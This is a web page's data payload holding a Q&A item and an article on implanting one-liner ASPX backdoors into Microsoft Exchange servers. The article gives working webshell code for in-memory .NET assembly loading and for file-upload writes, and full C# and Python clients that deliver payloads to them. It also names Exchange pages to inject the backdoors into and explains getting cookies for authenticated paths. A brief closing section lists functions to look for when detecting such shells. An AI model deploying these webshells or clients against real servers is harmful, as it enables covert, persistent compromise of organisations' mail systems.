[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fY4G_zZw-s_aLH-PM11bJu0Qk6UUmyIU_35mmblDknI8":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":33,"aiModel":30,"aiConfidence":30,"updatedAt":50,"createdAt":50,"_status":49},812,"Why must the base64-encoded payload be URL-encoded when sending to the memory loading backdoor via C#?","The base64 string often contains the `=` character, which in POST data with `Content-Type: application\u002Fx-www-form-urlencoded` is interpreted as a key-value separator. Therefore, the `=` must be URL-encoded to `%3d` to avoid breaking the parameter structure. The C# code uses `HttpUtility.UrlEncode` to handle this encoding automatically. Proper encoding is critical for successful payload delivery, as highlighted in the original [Penetration Basics - Implementation of Exchange One-Liner Backdoor](\u002Fnews\u002Fpenetration-basics-implementation-of-exchange-one-liner-backdoor).","\u003Cp>The base64 string often contains the `=` character, which in POST data with `Content-Type: application\u002Fx-www-form-urlencoded` is interpreted as a key-value separator. Therefore, the `=` must be URL-encoded to `%3d` to avoid breaking the parameter structure. The C# code uses `HttpUtility.UrlEncode` to handle this encoding automatically. Proper encoding is critical for successful payload delivery, as highlighted in the original [Penetration Basics - Implementation of Exchange One-Liner Backdoor](\u002Fnews\u002Fpenetration-basics-implementation-of-exchange-one-liner-backdoor).\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fpenetration-basics-implementation-of-exchange-one-liner-backdoor\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","why-must-the-base64-encoded-payload-be-url-encoded-when-sending-to-the-memory-lo-1777481743634","URL encoding, base64, POST parameter, Content-Type, HttpUtility.UrlEncode",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":27,"cover":30,"author":31,"views":19,"readingTime":32,"status":33,"publishedAt":34,"seo":35,"tags":39,"qaPairs":40,"meta":46,"updatedAt":47,"createdAt":48,"_status":49},199,"Penetration Basics - Implementation of Exchange One-Liner Backdoor","penetration-basics-implementation-of-exchange-one-liner-backdoor","Learn two Exchange backdoor methods via ASPX one-liners: memory loading and file upload. Includes C#\u002FPython exploit code and defense tips.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In the previous article 'Analysis of APT34 Leaked Tools - HighShell and HyperShell', we analyzed ExpiredPassword.aspx in HyperShell, which implements backdoor functionality by adding code to ExpiredPassword.aspx under the Exchange login page.\u003C\u002Fp>\u003Cp>This article will follow this approach, introducing two additional implementation methods from a technical perspective, open-sourcing test code, and providing defense recommendations.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Implementation of two backdoor codes\u003C\u002Fli>\u003Cli>Backdoor connection implementation via C Sharp code\u003C\u002Fli>\u003Cli>Backdoor connection implementation via Python code\u003C\u002Fli>\u003Cli>Utilization analysis\u003C\u002Fli>\u003Cli>Defense recommendations\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Implementation of Two Backdoor Codes\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Memory loading of .NET assemblies\u003C\u002Fh3>\u003Cp>Reference: 'Implementing New One-Sentence Trojans Using Dynamic Binary Encryption - .NET Edition'\u003C\u002Fp>\u003Cp>To shorten code length, the sample test1.aspx code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp><%@ Page Language=\"C#\" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form[\"demodata\"])).CreateInstance(\"Payload\").Equals(\"\");%>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The code checks for the presence of POST request parameter demodata; if present, it base64-decodes the content of demodata from the POST request, loads it in memory, and invokes an instance named Payload\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>sharpyshell also uses the same memory loading approach\u003C\u002Fp>\u003Cp>We can generate Payload in the following ways:\u003C\u002Fp>\u003Cp>(1) Create a new file demo.cs\u003C\u002Fp>\u003Cp>Code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>using System;\u003Cbr>using System.Diagnostics;\u003Cbr>public class Payload\u003Cbr>{\u003Cbr>    public override bool Equals(Object obj)\u003Cbr>    {\u003Cbr>        Process.Start(\"calc.exe\");\u003Cbr>        return true;\u003Cbr>    }\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>(2) Compile to generate a DLL file\u003C\u002Fp>\u003Cp>The command is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe \u002Ftarget:library demo.cs\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After generating demo.dll, perform Base64 encryption and use it as the content of the demodata parameter in a POST request sent to test1.aspx to trigger the backdoor\u003C\u002Fp>\u003Ch3>2. File Write\u003C\u002Fh3>\u003Cp>To shorten the code length, the example code for test2.aspx is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp><%@ Page Language=\"C#\" %><%if (Request.Files.Count!=0)Request.Files[0].SaveAs(Server.MapPath(\".\u002FuploadDemo.aspx\"));}%>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The code checks if there is a file upload request; if it exists, it saves the content of the first file upload request to uploadDemo.aspx in the same directory\u003C\u002Fp>\u003Cp>Parameter description:\u003C\u002Fp>\u003Cul>\u003Cli>Request.Files.Count: Number of uploaded files\u003C\u002Fli>\u003Cli>Server.MapPath(\"\"): Returns the physical file path of the current page\u003C\u002Fli>\u003Cli>Request.Files[0].SaveAs(): Saves the first uploaded file\u003C\u002Fli>\u003Cli>Server.MapPath(\".\u002FuploadByfile.aspx\"): Returns the path of \"uploadByfile.aspx\" in the same directory as the current page\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x03 Implementing Backdoor Connection via C# Code\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. In-Memory Loading of .NET Assembly\u003C\u002Fh3>\u003Cp>When sending POST requests with parameters, ContentType must be specified as application\u002Fx-www-form-urlencoded\u003C\u002Fp>\u003Cp>Special attention must be paid to escape characters in POST request content. For example, the character = is interpreted as a special character separating keys and values. When using base64 encoding, the character = is used, so when sending POST requests, the base64-encoded result must be URL-encoded again, e.g., converting the character = to %3d\u003C\u002Fp>\u003Cp>Complete code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>using System;\u003Cbr>using System.Text;\u003Cbr>using System.Net;\u003Cbr>using System.IO;\u003Cbr>using System.Web;\u003Cbr>\u003Cbr>namespace test\u003Cbr>{\u003Cbr>    public class Program\u003Cbr>    {\u003Cbr>\u003Cbr>        public static string HttpPostData(string url, string path)\u003Cbr>        {\u003Cbr>            byte[] buffer = System.IO.File.ReadAllBytes(path);\u003Cbr>            string base64str = Convert.ToBase64String(buffer);\u003Cbr>\u003Cbr>            ServicePointManager.ServerCertificateValidationCallback = (sender, certificate, chain, sslPolicyErrors) => { return true; };\u003Cbr>            HttpWebRequest request = WebRequest.Create(url) as HttpWebRequest;\u003Cbr>            request.Method = \"POST\";\u003Cbr>            request.ContentType = \"application\u002Fx-www-form-urlencoded\";\u003Cbr>            request.UserAgent=\"Mozilla\u002F5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F81.0.4044.129 Safari\u002F537.36xxxxx\";\u003Cbr>\u003Cbr>            string Param = \"demodata=\" + HttpUtility.UrlEncode(base64str);\u003Cbr>            byte[] post=Encoding.UTF8.GetBytes(Param);\u003Cbr>            Stream postStream = request.GetRequestStream();\u003Cbr>            postStream.Write(post,0,post.Length);\u003Cbr>            postStream.Close();\u003Cbr>\u003Cbr>            HttpWebResponse response = request.GetResponse() as HttpWebResponse;    \u003Cbr>            Stream instream = response.GetResponseStream();\u003Cbr>            StreamReader sr = new StreamReader(instream, Encoding.UTF8);    \u003Cbr>            string content = sr.ReadToEnd();\u003Cbr>            return content;\u003Cbr>        }\u003Cbr>                     \u003Cbr>        public static void Main(string[] args)\u003Cbr>        {\u003Cbr>\u003Cbr>            if(args.Length!=2)\u003Cbr>            {\u003Cbr>                Console.WriteLine(\"\u003Curl> \u003Cpath>\");\u003Cbr>                System.Environment.Exit(0);\u003Cbr>            }            \u003Cbr>\u003Cbr>            try\u003Cbr>            {\u003Cbr>                string url = args[0];\u003Cbr>                string path = args[1];\u003Cbr>                Console.WriteLine(\"[*] Try to read: \" + path);\u003Cbr>                Console.WriteLine(\"[*] Try to access: \" + url);\u003Cbr>\u003Cbr>                string result = HttpPostData(url, path);\u003Cbr>                Console.WriteLine(\"[*] Response: \\n\" + result);\u003Cbr>            }\u003Cbr>            catch (Exception e)\u003Cbr>            {\u003Cbr>                Console.WriteLine(\"{0}\", e.Message);\u003Cbr>                System.Environment.Exit(0);\u003Cbr>            }\u003Cbr>        }\u003Cbr>    }\u003Cbr>}\u003C\u002Fpath>\u003C\u002Furl>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. File Writing\u003C\u002Fh3>\u003Cp>When sending files via POST request, ContentType must be specified as multipart\u002Fform-data\u003C\u002Fp>\u003Cp>Complete code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>using System;\u003Cbr>using System.Text;\u003Cbr>using System.Net;\u003Cbr>using System.IO;\u003Cbr>\u003Cbr>namespace test\u003Cbr>{\u003Cbr>    public class Program\u003Cbr>    {\u003Cbr>        public static string HttpUploadFile(string url, string path)\u003Cbr>        {\u003Cbr>            ServicePointManager.ServerCertificateValidationCallback = (sender, certificate, chain, sslPolicyErrors) => { return true; };\u003Cbr>            HttpWebRequest request = WebRequest.Create(url) as HttpWebRequest;\u003Cbr>            request.Method = \"POST\";\u003Cbr>            request.UserAgent=\"Mozilla\u002F5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F81.0.4044.129 Safari\u002F537.36xxxxx\";\u003Cbr>            string boundary = DateTime.Now.Ticks.ToString(\"X\");\u003Cbr>            request.ContentType = \"multipart\u002Fform-data;charset=utf-8;boundary=\" + boundary;\u003Cbr>            byte[] itemBoundaryBytes = Encoding.UTF8.GetBytes(\"\\r\\n--\" + boundary + \"\\r\\n\");\u003Cbr>            byte[] endBoundaryBytes = Encoding.UTF8.GetBytes(\"\\r\\n--\" + boundary + \"--\\r\\n\");\u003Cbr>            int pos = path.LastIndexOf(\"\\\\\");\u003Cbr>            string fileName = path.Substring(pos + 1);\u003Cbr>   \u003Cbr>            StringBuilder sbHeader = new StringBuilder(string.Format(\"Content-Disposition:form-data;name=\\\"file\\\";filename=\\\"{0}\\\"\\r\\nContent-Type:application\u002Foctet-stream\\r\\n\\r\\n\", fileName));\u003Cbr>            byte[] postHeaderBytes = Encoding.UTF8.GetBytes(sbHeader.ToString());\u003Cbr>\u003Cbr>            FileStream fs = new FileStream(path, FileMode.Open, FileAccess.Read);\u003Cbr>            byte[] bArr = new byte[fs.Length];\u003Cbr>            fs.Read(bArr, 0, bArr.Length);\u003Cbr>            fs.Close();\u003Cbr>\u003Cbr>            Stream postStream = request.GetRequestStream();\u003Cbr>            postStream.Write(itemBoundaryBytes, 0, itemBoundaryBytes.Length);\u003Cbr>            postStream.Write(postHeaderBytes, 0, postHeaderBytes.Length);\u003Cbr>            postStream.Write(bArr, 0, bArr.Length);\u003Cbr>            postStream.Write(endBoundaryBytes, 0, endBoundaryBytes.Length);\u003Cbr>            postStream.Close();\u003Cbr>\u003Cbr>            HttpWebResponse response = request.GetResponse() as HttpWebResponse;\u003Cbr>            Stream instream = response.GetResponseStream();\u003Cbr>            StreamReader sr = new StreamReader(instream, Encoding.UTF8);\u003Cbr>            string content = sr.ReadToEnd();\u003Cbr>            return content;\u003Cbr>        }\u003Cbr>                       \u003Cbr>        public static void Main(string[] args)\u003Cbr>        {\u003Cbr>            \u003Cbr>           if(args.Length!=2)\u003Cbr>            {\u003Cbr>                Console.WriteLine(\"\u003Curl> \u003Cpath>\");\u003Cbr>                System.Environment.Exit(0);\u003Cbr>            }            \u003Cbr>\u003Cbr>            try\u003Cbr>            {\u003Cbr>                string url = args[0];\u003Cbr>                string path = args[1];\u003Cbr>                Console.WriteLine(\"[*] Try to read: \" + path);\u003Cbr>                Console.WriteLine(\"[*] Try to access: \" + url);\u003Cbr>                \u003Cbr>                string result = HttpUploadFile(url, path);\u003Cbr>                Console.WriteLine(\"[*] Response: \\n\" + result);               \u003Cbr>            }\u003Cbr>            catch (Exception e)\u003Cbr>            {\u003Cbr>                Console.WriteLine(\"{0}\", e.Message);\u003Cbr>                System.Environment.Exit(0);\u003Cbr>            }\u003Cbr>\u003Cbr>        }\u003Cbr>\u003Cbr>    }\u003Cbr>}\u003C\u002Fpath>\u003C\u002Furl>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x04 Backdoor Connection via Python Code\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Compared to C#, Python code is more concise\u003C\u002Fp>\u003Ch3>1. Memory Loading .NET Assembly\u003C\u002Fh3>\u003Cp>Send POST request with parameter demodata, content is base64 encoded string\u003C\u002Fp>\u003Cp>Complete code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import requests\u003Cbr>import base64\u003Cbr>import sys\u003Cbr>import os\u003Cbr>import urllib3\u003Cbr>urllib3.disable_warnings()\u003Cbr>import urllib.parse\u003Cbr>\u003Cbr>def post(url,path):\u003Cbr>    with open(path, 'rb') as file_obj:\u003Cbr>        content = file_obj.read()\u003Cbr>    data = base64.b64encode(content).decode('utf8')\u003Cbr>    body = {\"demodata\": data}\u003Cbr>    postData = urllib.parse.urlencode(body).encode(\"utf-8\")\u003Cbr>    print(postData)\u003Cbr>    headers = {\u003Cbr>        \"User-Agent\": \"Mozilla\u002F5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F81.0.4044.129 Safari\u002F537.36xxxxx\"\u003Cbr>    }\u003Cbr>\u003Cbr>    response = requests.post(url, headers=headers, data=body, verify = False)\u003Cbr>    print(response.text)\u003Cbr> \u003Cbr>if __name__ == \"__main__\":\u003Cbr>    if len(sys.argv)!=3:\u003Cbr>        print('%s \u003Curl> \u003Cpath>'%(sys.argv[0]))\u003Cbr>        sys.exit(0)\u003Cbr>    else:\u003Cbr>        post(sys.argv[1],sys.argv[2])\u003C\u002Fpath>\u003C\u002Furl>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. File Writing\u003C\u002Fh3>\u003Cp>Send POST request to upload file\u003C\u002Fp>\u003Cp>Complete code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import requests\u003Cbr>import base64\u003Cbr>import sys\u003Cbr>import os\u003Cbr>import urllib3\u003Cbr>urllib3.disable_warnings()\u003Cbr>import urllib.parse\u003Cbr>\u003Cbr>def post(url,path):\u003Cbr>    with open(path, 'r') as file_obj:\u003Cbr>        data = file_obj.read()\u003Cbr>    files = {'image_file':(path,data,'image\u002Fjpeg')};\u003Cbr>    headers = {\u003Cbr>        \"User-Agent\": \"Mozilla\u002F5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F81.0.4044.129 Safari\u002F537.36xxxxx\"\u003Cbr>    }\u003Cbr>    response = requests.post(url, headers=headers, files=files, verify = False)\u003Cbr>    print(response.text)\u003Cbr> \u003Cbr>if __name__ == \"__main__\":\u003Cbr>    if len(sys.argv)!=3:\u003Cbr>        print('%s \u003Curl> \u003Cpath>'%(sys.argv[0]))\u003Cbr>        sys.exit(0)\u003Cbr>    else:\u003Cbr>        post(sys.argv[1],sys.argv[2])\u003C\u002Fpath>\u003C\u002Furl>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x05 Exploitation Analysis\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Whether it is a memory-loaded .NET assembly or a file-written one-liner backdoor, it can not only exist as an independent aspx file but also be inserted into normal Exchange pages\u003C\u002Fp>\u003Cp>For example, file location: %ExchangeInstallPath%FrontEnd\\HttpProxy\\owa\\auth\\errorFE.aspx\u003C\u002Fp>\u003Cp>errorFE.aspx is the error page of Exchange, where a one-liner backdoor can be inserted\u003C\u002Fp>\u003Cp>The access URL is: https:\u002F\u002F\u003Curl>\u002Fowa\u002Fauth\u002FerrorFE.aspx\u003C\u002Furl>\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Files under %ExchangeInstallPath%FrontEnd\\ can be directly accessed via the web\u003C\u002Fp>\u003Cp>Files under %ExchangeInstallPath%ClientAccess\\ can only be accessed by authenticated users, meaning access requires a valid user's Cookie\u003C\u002Fp>\u003Cp>For testing convenience, I have written test programs to connect to the one-liner backdoor, implemented in C# and Python respectively. The code has been uploaded to GitHub, with the following addresses:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>The code supports connections for in-memory loading of .NET assemblies and file write backdoors\u003C\u002Fp>\u003Cp>Supports login authentication, for example, saving the backdoor file as: %ExchangeInstallPath%ClientAccess\\ecp\\Education.aspx\u003C\u002Fp>\u003Cp>The accessed URL is: https:\u002F\u002F\u003Curl>\u002Fecp\u002FEducation.aspx\u003C\u002Furl>\u003C\u002Fp>\u003Cp>For SharpExchangeBackdoor.cs, the following issues need attention when implementing the login authentication functionality:\u003C\u002Fp>\u003Cp>Normally, when accessing https:\u002F\u002F\u003Curl>\u002Fowa\u002Fauth.owa, it will default to a 302 redirect to https:\u002F\u002F\u003Curl>\u002Fowa. To obtain usable cookies, redirects need to be disabled here.\u003C\u002Furl>\u003C\u002Furl>\u003C\u002Fp>\u003Cp>For SharpExchangeBackdoor.py, when implementing the login authentication functionality, using a session object can automatically handle webpage redirects to obtain usable cookies.\u003C\u002Fp>\u003Cp>As a test program, SharpExchangeBackdoor's communication data is not encrypted; the in-memory .NET assembly loading function only uses base64 encoding, and the file write function is unencrypted.\u003C\u002Fp>\u003Ch2>0x06 Defense Recommendations\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>For Exchange one-sentence backdoors, it is necessary not only to check for new file writes but also to determine if legitimate pages have been injected with malicious content.\u003C\u002Fp>\u003Cp>In static analysis, you can check if ASPX files contain the following sensitive functions:\u003C\u002Fp>\u003Cul>\u003Cli>In-memory loading: Assembly.Load, Assembly.LoadFrom, Assembly.LoadFile\u003C\u002Fli>\u003Cli>File writing: SaveAs, Write, WriteLine, WriteAllLines\u003C\u002Fli>\u003Cli>Process startup: Start, WinExec\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x07 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces two types of one-liner backdoors for Exchange (in-memory loading of .NET assemblies and file writing), provides open-source test code, analyzes exploitation approaches, and offers defense recommendations.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr",null,"Onedaysec",7,"published","2026-02-02T07:38:21.198Z",{"title":36,"description":14,"keywords":37,"ogImage":30,"canonicalUrl":30,"noIndex":38},"Exchange Backdoor Implementation: ASPX One-Liner & C#\u002FPython Exploits","Exchange backdoor, ASPX one-liner, penetration testing, C# exploit, Python backdoor, memory loading, file upload, security defense, APT34, HyperShell",false,[],{"docs":41,"hasNextPage":38},[42,4,43,44,45],813,811,810,809,{"title":30,"description":30,"image":30},"2026-07-24T02:07:18.652Z","2026-07-23T16:02:07.857Z","draft","2026-07-23T16:14:54.313Z"]